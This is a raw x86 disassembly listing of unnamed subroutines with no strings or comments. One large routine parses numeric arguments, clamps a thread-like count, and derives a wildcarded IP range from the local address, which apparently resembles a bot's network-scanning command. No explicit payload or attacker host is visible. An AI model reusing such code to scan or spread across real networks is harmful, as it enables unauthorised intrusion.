sub_13CC930	proc near		; CODE XREF: sub_13ABCE3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13CC930	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC950	proc near		; CODE XREF: sub_13AB7DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AC2D3
		add	esp, 8
		retn	8
sub_13CC950	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC980	proc near		; CODE XREF: sub_13ABCEDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_13CC980	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC9A0	proc near		; CODE XREF: sub_13ABCE8j
		mov	eax, [ecx]
		retn
sub_13CC9A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC9C0	proc near		; CODE XREF: sub_13ABDABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_13ABC2A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_13CC9C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CC9F0	proc near		; CODE XREF: sub_13ABA31j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13ABE78
		pop	ecx
		retn	4
sub_13CC9F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCA10	proc near		; CODE XREF: sub_13AC260j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_13AC39B
		pop	ecx
		retn	4
sub_13CCA10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCA30	proc near		; CODE XREF: sub_13ABE2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13CCA4B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13CCA4B:				; CODE XREF: sub_13CCA30+11j
		retn
sub_13CCA30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCA60	proc near		; CODE XREF: sub_13AC41Dj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	43B491h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_13AB5CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_13CCAA1
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_13ABA77


loc_13CCAA1:				; CODE XREF: sub_13CCA60+33j
		mov	ecx, [esp+14h+var_10]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13CCA60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCAD0	proc near		; CODE XREF: sub_13ABEAAj
		retn
sub_13CCAD0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCAF0	proc near		; CODE XREF: sub_13AC2D3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	43B4C1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_13AB5CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_13CCB31
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_13AB8C9


loc_13CCB31:				; CODE XREF: sub_13CCAF0+33j
		mov	ecx, [esp+14h+var_10]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13CCAF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCB60	proc near		; CODE XREF: sub_13ABE78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_13ABDBA
		retn
sub_13CCB60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCB80	proc near		; CODE XREF: sub_13AC39Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_13CCB80	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCBA0	proc near		; CODE XREF: sub_13ABA77j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_13AB8C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_13CCBA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCBD0	proc near		; CODE XREF: sub_13ABDBAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABE6E
		test	[esp+4+arg_0], 1
		jz	short loc_13CCBE8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13CCBE8:				; CODE XREF: sub_13CCBD0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13CCBD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCC00	proc near		; CODE XREF: sub_13ABEE1j

var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B508h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	ds:dword_E19BDB, offset	dword_444430
		call	sub_13ABDB5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_13ABBE4
		lea	ecx, dword_9D0C08[esi]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+50h+var_48]
		mov	[esp+50h+var_10], edi
		call	sub_13AB626
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+74h+var_48]
		push	1
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+54h+var_10], 1
		call	sub_13ABBE4
		push	eax
		lea	eax, dword_9D0C36[esi]
		push	eax
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+5Ch+var_54]
		mov	[esp+5Ch+var_1C], edi
		call	sub_13AB626
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+80h+var_54]
		push	13h
		push	ecx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+60h+var_1C], 2
		call	sub_13ABBE4
		lea	edx, dword_9D0C64[esi]
		push	eax
		push	edx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+68h+var_60]
		mov	[esp+68h+var_28], edi
		call	sub_13AB626
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+8Ch+var_60]
		push	1
		push	eax
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+6Ch+var_28], 3
		call	sub_13ABBE4
		lea	ecx, dword_9D0C92[esi]
		push	eax
		push	ecx
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+74h+var_6C]
		mov	[esp+74h+var_34], edi
		call	sub_13AB626
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+98h+var_54]
		push	6
		push	edx
		call	sub_13ABDB5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+78h+var_34], 4
		call	sub_13ABBE4
		add	esi, offset dword_9D0CC0
		push	eax
		push	esi
		mov	ecx, offset dword_447168
		call	sub_13AB991
		lea	ecx, [esp+80h+var_60]
		mov	[esp+80h+var_40], edi
		call	sub_13AB626
		mov	ecx, [esp+80h+var_48]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_13CCC00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13CCE50	proc near		; CODE XREF: sub_13AB78Ej

var_84		= byte ptr -84h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_44		= byte ptr -44h
var_38		= byte ptr -38h
var_35		= byte ptr -35h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_1C		= byte ptr  20h
arg_9C		= dword	ptr  0A0h
arg_A0		= dword	ptr  0A4h
arg_A4		= dword	ptr  0A8h
arg_A8		= dword	ptr  0ACh
arg_AC		= dword	ptr  0B0h
arg_B8		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C0h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_CC		= dword	ptr  0D0h
arg_D0		= dword	ptr  0D4h
arg_E0		= dword	ptr  0E4h
arg_E8		= dword	ptr  0ECh
arg_F4		= dword	ptr  0F8h
arg_FC		= dword	ptr  100h
arg_108		= dword	ptr  10Ch
arg_130		= byte ptr  134h
arg_13C		= byte ptr  140h
arg_148		= byte ptr  14Ch
arg_2858	= byte ptr  285Ch
arg_4F10	= byte ptr  4F14h
arg_762C	= dword	ptr  7630h
arg_7638	= dword	ptr  763Ch
arg_7644	= dword	ptr  7648h
arg_7648	= dword	ptr  764Ch
arg_7654	= dword	ptr  7658h
arg_7660	= dword	ptr  7664h
arg_766C	= dword	ptr  7670h
arg_7678	= dword	ptr  767Ch
arg_7680	= dword	ptr  7684h
arg_7684	= dword	ptr  7688h
arg_7690	= dword	ptr  7694h
arg_7698	= dword	ptr  769Ch
arg_76B4	= dword	ptr  76B8h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	43B599h
		push	eax
		mov	eax, 76B4h
		mov	large fs:0, esp
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+18h+arg_76B4]
		mov	ebx, ecx
		push	edi
		mov	[esp+1Ch+var_8], ebx
		lea	edi, [esi+7Eh]
		lea	ecx, dword_9D0C08[ebx]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13CCF22
		push	3
		call	sub_13AB883
		add	esp, 4
		test	eax, eax
		jle	short loc_13CCEF5
		push	3
		call	sub_13AC18E
		mov	eax, ds:dword_1029D38[eax*8]
		add	esp, 4
		push	eax
		call	inet_ntoa	; inet_ntoa
		push	eax
		push	offset dword_444678
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		mov	al, 1
		jmp	loc_13CD251
; ---------------------------------------------------------------------------


loc_13CCEF5:				; CODE XREF: sub_13CCE50+5Aj
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset dword_444660
		push	edx
		push	eax
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		mov	al, 1
		jmp	loc_13CD251
; ---------------------------------------------------------------------------


loc_13CCF22:				; CODE XREF: sub_13CCE50+48j
		lea	ecx, dword_9D0CC0[ebx]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13CCFC8
		mov	edi, ds:dword_E19FC0
		push	offset dword_443600
		lea	ecx, [esp+28h+var_C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+30h+arg_7698], 0
		call	sub_13ABBE4
		push	eax
		call	atoi	; atoi
		add	esp, 4
		lea	ecx, [esp+30h+var_18]
		mov	ebx, eax
		mov	[esp+30h+arg_7698], 0FFFFFFFFh
		call	sub_13AB626
		cmp	edi, ebx
		jl	loc_13CD5D3
		mov	edx, ds:dword_44769F
		push	edi
		push	edx
		push	offset dword_444638
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_13CD251
; ---------------------------------------------------------------------------


loc_13CCFC8:				; CODE XREF: sub_13CCE50+E7j
		lea	ecx, dword_9D0C64[ebx]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13CD048
		push	eax
		push	3
		call	sub_13AC193
		add	esp, 8
		test	eax, eax
		jle	short loc_13CD01D
		push	eax
		push	offset dword_444618
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 18h
		jmp	loc_13CD24F
; ---------------------------------------------------------------------------


loc_13CD01D:				; CODE XREF: sub_13CCE50+19Cj
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset dword_444600
		push	ecx
		push	edx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518
		jmp	loc_13CD24F
; ---------------------------------------------------------------------------


loc_13CD048:				; CODE XREF: sub_13CCE50+18Dj
		lea	ecx, dword_9D0C36[ebx]
		call	sub_13AB8D3
		push	eax
		mov	ecx, edi
		call	sub_13AB6EE
		mov	edi, atoi
		test	eax, eax
		jnz	loc_13CD0F4
		push	3
		call	sub_13AB883
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+2Ch+var_14]
		mov	ecx, esi
		push	offset dword_443600
		push	2
		push	eax
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+38h+arg_7690], 1
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	eax, ebp
		add	esp, 4
		cmp	eax, 270Fh
		lea	ecx, [esp+38h+var_20]
		setnle	bl
		mov	[esp+38h+arg_7690], 0FFFFFFFFh
		call	sub_13AB626
		test	bl, bl
		jz	loc_13CD26C
		push	ebp
		push	offset dword_4445DC
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		mov	ebx, [esp+50h+var_24]
		add	esp, 18h


loc_13CD0F4:				; CODE XREF: sub_13CCE50+213j
		lea	ecx, dword_9D0C92[ebx]
		call	sub_13AB8D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_13AB6EE
		test	eax, eax
		jnz	loc_13CD24F
		push	offset dword_443600
		lea	eax, [esp+40h+arg_13C]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+48h+arg_7680], 0Ah
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+48h+arg_130]
		mov	edi, eax
		mov	[esp+48h+arg_7680], 0FFFFFFFFh
		call	sub_13AB626
		mov	eax, ds:dword_444458
		mov	[esp+48h+var_35], bl
		test	eax, eax
		jz	short loc_13CD17F
		mov	eax, offset dword_444458


loc_13CD16B:				; CODE XREF: sub_13CCE50+32Dj
		cmp	[eax+8], edi
		jb	short loc_13CD175
		mov	[esp+48h+var_35], 1


loc_13CD175:				; CODE XREF: sub_13CCE50+31Ej
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_13CD16B


loc_13CD17F:				; CODE XREF: sub_13CCE50+314j
		mov	ebp, wsprintfA
		lea	ecx, [esp+48h+arg_2858]
		push	offset dword_4445CC
		push	ecx
		call	ebp ; wsprintfA
		mov	eax, ds:dword_444458
		add	esp, 8
		test	eax, eax
		jz	short loc_13CD1E5
		mov	edi, offset dword_444460


loc_13CD1A5:				; CODE XREF: sub_13CCE50+393j
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+50h+arg_148]
		push	offset dword_4445C0
		push	eax
		call	ebp ; wsprintfA
		lea	ecx, [esp+58h+arg_148]
		push	270Fh
		lea	edx, [esp+5Ch+arg_2858]
		push	ecx
		push	edx
		call	strncat	; strncat
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_13CD1A5


loc_13CD1E5:				; CODE XREF: sub_13CCE50+34Ej
		push	ebx
		lea	eax, [esp+4Ch+arg_148]
		push	offset dword_4445B0
		push	eax
		call	ebp ; wsprintfA
		lea	ecx, [esp+54h+arg_148]
		push	270Fh
		lea	edx, [esp+58h+arg_2858]
		push	ecx
		push	edx
		call	strncat	; strncat
		mov	al, [esp+60h+var_35]
		add	esp, 18h
		test	al, al
		jz	short loc_13CD23F
		xor	eax, eax
		lea	ecx, [esp+48h+arg_2858]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		push	eax
		push	0
		call	sub_13AB923
		add	esp, 10h


loc_13CD23F:				; CODE XREF: sub_13CCE50+3C9j
		lea	edx, [esp+48h+arg_2858]
		push	edx
		call	sub_13AB4D2
		add	esp, 4


loc_13CD24F:				; CODE XREF: sub_13CCE50+1C8j
					; sub_13CCE50+1F3j ...
		xor	al, al


loc_13CD251:				; CODE XREF: sub_13CCE50+A0j
					; sub_13CCE50+CDj ...
		mov	ecx, [esp+48h+arg_7678]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 76C0h
		retn	4
; ---------------------------------------------------------------------------


loc_13CD26C:				; CODE XREF: sub_13CCE50+270j
		push	offset dword_443600
		lea	eax, [esp+3Ch+var_20]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+44h+arg_7684], 2
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+44h+var_2C]
		mov	[esp+44h+arg_FC], eax
		mov	[esp+44h+arg_7684], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	ecx, [esp+48h+var_2C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+50h+arg_7678], ebp
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+50h+var_38]
		mov	[esp+50h+arg_108], eax
		mov	[esp+50h+arg_7678], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+54h+var_38]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+5Ch+arg_766C], 4
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+5Ch+var_44]
		mov	[esp+5Ch+arg_E8], eax
		mov	[esp+5Ch+arg_766C], ebx
		call	sub_13AB626
		mov	eax, [esp+5Ch+arg_E8]
		cmp	eax, ebp
		jnb	short loc_13CD349
		mov	[esp+5Ch+arg_E8], ebp
		jmp	short loc_13CD359
; ---------------------------------------------------------------------------


loc_13CD349:				; CODE XREF: sub_13CCE50+4EEj
		cmp	eax, 3Ch
		jbe	short loc_13CD359
		mov	[esp+5Ch+arg_E8], 3Ch


loc_13CD359:				; CODE XREF: sub_13CCE50+4F7j
					; sub_13CCE50+4FCj
		push	offset dword_443600
		lea	eax, [esp+60h+var_44]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+68h+arg_7660], 5
		call	sub_13ABBE4
		push	eax
		call	edi ; atoi
		add	esp, 4
		lea	ecx, [esp+68h+var_50]
		mov	[esp+68h+arg_E0], eax
		mov	[esp+68h+arg_7660], ebx
		call	sub_13AB626
		mov	ecx, [esp+68h+arg_E0]
		mov	eax, 270Fh
		cmp	ecx, eax
		jbe	short loc_13CD3B2
		mov	[esp+68h+arg_E0], eax


loc_13CD3B2:				; CODE XREF: sub_13CCE50+559j
		mov	eax, ds:dword_444458
		mov	[esp+68h+arg_F4], ebx
		test	eax, eax
		mov	[esp+68h+var_54], 0
		jz	loc_13CD482
		mov	ebp, offset dword_444458
		jmp	short loc_13CD3D8
; ---------------------------------------------------------------------------


loc_13CD3D5:				; CODE XREF: sub_13CCE50+608j
		or	ebx, 0FFFFFFFFh


loc_13CD3D8:				; CODE XREF: sub_13CCE50+583j
		push	offset dword_443600
		lea	ecx, [esp+6Ch+var_50]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+74h+arg_7654], 6
		call	sub_13ABBE4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_13CD402:				; CODE XREF: sub_13CCE50+5D0j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_13CD426
		test	al, al
		jz	short loc_13CD422
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_13CD426
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_13CD402


loc_13CD422:				; CODE XREF: sub_13CCE50+5BCj
		xor	eax, eax
		jmp	short loc_13CD42A
; ---------------------------------------------------------------------------


loc_13CD426:				; CODE XREF: sub_13CCE50+5B8j
					; sub_13CCE50+5C6j
		sbb	eax, eax
		sbb	eax, ebx


loc_13CD42A:				; CODE XREF: sub_13CCE50+5D4j
		test	eax, eax
		lea	ecx, [esp+74h+var_5C]
		mov	[esp+74h+arg_7654], 0FFFFFFFFh
		setz	bl
		call	sub_13AB626
		test	bl, bl
		jnz	short loc_13CD460
		mov	edx, [esp+74h+var_60]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+74h+var_60], edx
		jnz	loc_13CD3D5
		jmp	short loc_13CD47F
; ---------------------------------------------------------------------------


loc_13CD460:				; CODE XREF: sub_13CCE50+5F5j
		mov	ecx, [esp+74h+var_60]
		mov	[esp+74h+arg_E8], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, ds:dword_444458[eax*4]
		mov	[esp+74h+arg_CC], edx


loc_13CD47F:				; CODE XREF: sub_13CCE50+60Ej
		or	ebx, 0FFFFFFFFh


loc_13CD482:				; CODE XREF: sub_13CCE50+578j
		mov	eax, [esp+74h+arg_CC]
		test	eax, eax
		jnz	short loc_13CD4A0
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		push	eax
		push	offset dword_444598
		jmp	loc_13CD5BB
; ---------------------------------------------------------------------------


loc_13CD4A0:				; CODE XREF: sub_13CCE50+63Bj
		push	offset dword_443600
		lea	edx, [esp+78h+var_5C]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	offset dword_443DE4
		mov	ecx, eax
		mov	[esp+84h+arg_7648], 7
		call	sub_13AB7E3
		lea	ecx, [esp+84h+var_6C]
		mov	edi, eax
		mov	[esp+84h+arg_7644], ebx
		call	sub_13AB626
		test	edi, edi
		jz	loc_13CD57D
		push	offset dword_443600
		lea	eax, [esp+88h+var_6C]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_13ABAAE
		mov	ecx, eax
		mov	[esp+90h+arg_7638], 8
		call	sub_13ABBE4
		push	eax
		lea	ecx, [esp+94h+var_60]
		push	10h
		push	ecx
		call	_snprintf	; _snprintf
		add	esp, 0Ch
		lea	ecx, [esp+90h+var_78]
		mov	[esp+90h+arg_7638], ebx
		call	sub_13AB626
		push	offset dword_443600
		lea	edx, [esp+94h+var_78]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_13ABAAE
		push	78h
		mov	ecx, eax
		mov	[esp+0A0h+arg_762C], 9
		call	sub_13ABBE4
		push	eax
		call	strchr	; strchr
		add	esp, 8
		lea	ecx, [esp+9Ch+var_84]
		neg	eax
		sbb	eax, eax
		mov	[esp+9Ch+arg_762C], ebx
		neg	eax
		mov	[esp+9Ch+arg_D0], eax
		call	sub_13AB626
		jmp	loc_13CD6AC
; ---------------------------------------------------------------------------


loc_13CD57D:				; CODE XREF: sub_13CCE50+68Ej
		push	offset dword_444594
		mov	ecx, esi
		call	sub_13AB7E3
		test	eax, eax
		jnz	short loc_13CD5DA
		push	offset dword_444590
		mov	ecx, esi
		call	sub_13AB7E3
		test	eax, eax
		jnz	short loc_13CD5DA
		push	offset dword_44458C
		mov	ecx, esi
		call	sub_13AB7E3
		test	eax, eax
		jnz	short loc_13CD5DA
		lea	ecx, [esi+2Ah]
		call	sub_13AB8D3
		push	eax
		push	offset dword_444570


loc_13CD5BB:				; CODE XREF: sub_13CCE50+64Bj
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_E19CC5
		call	sub_13AB518


loc_13CD5D3:				; CODE XREF: sub_13CCE50+13Aj
		mov	al, 1
		jmp	loc_13CD251
; ---------------------------------------------------------------------------


loc_13CD5DA:				; CODE XREF: sub_13CCE50+73Bj
					; sub_13CCE50+74Bj ...
		mov	ecx, ds:dword_E19CDD
		lea	edx, [esp+88h+var_74]
		lea	eax, [esp+88h+var_70]
		push	edx
		push	eax
		push	ecx
		mov	[esp+94h+var_74], 10h
		call	getsockname	; getsockname
		push	offset dword_444590
		mov	ecx, esi
		call	sub_13AB7E3
		mov	edx, eax
		mov	eax, [esp+98h+var_7C]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+0A0h+var_7C], eax
		call	inet_ntoa	; inet_ntoa
		push	eax
		lea	eax, [esp+0A4h+var_6C]
		push	eax
		call	strncpy	; strncpy
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444594
		call	sub_13AB7E3
		test	eax, eax
		jz	short loc_13CD6A1
		push	offset dword_444590
		mov	ecx, esi
		call	sub_13AB7E3
		mov	ebp, strrchr
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+0A4h+var_74]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp ; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_13CD694


loc_13CD678:				; CODE XREF: sub_13CCE50+842j
		test	eax, eax
		jz	short loc_13CD694
		lea	edx, [esp+0A4h+var_74]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp ; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_13CD678


loc_13CD694:				; CODE XREF: sub_13CCE50+826j
					; sub_13CCE50+82Aj
		mov	[esp+0A4h+arg_C8], 1
		jmp	short loc_13CD6AC
; ---------------------------------------------------------------------------


loc_13CD6A1:				; CODE XREF: sub_13CCE50+7F7j
		mov	[esp+0A0h+arg_CC], 0


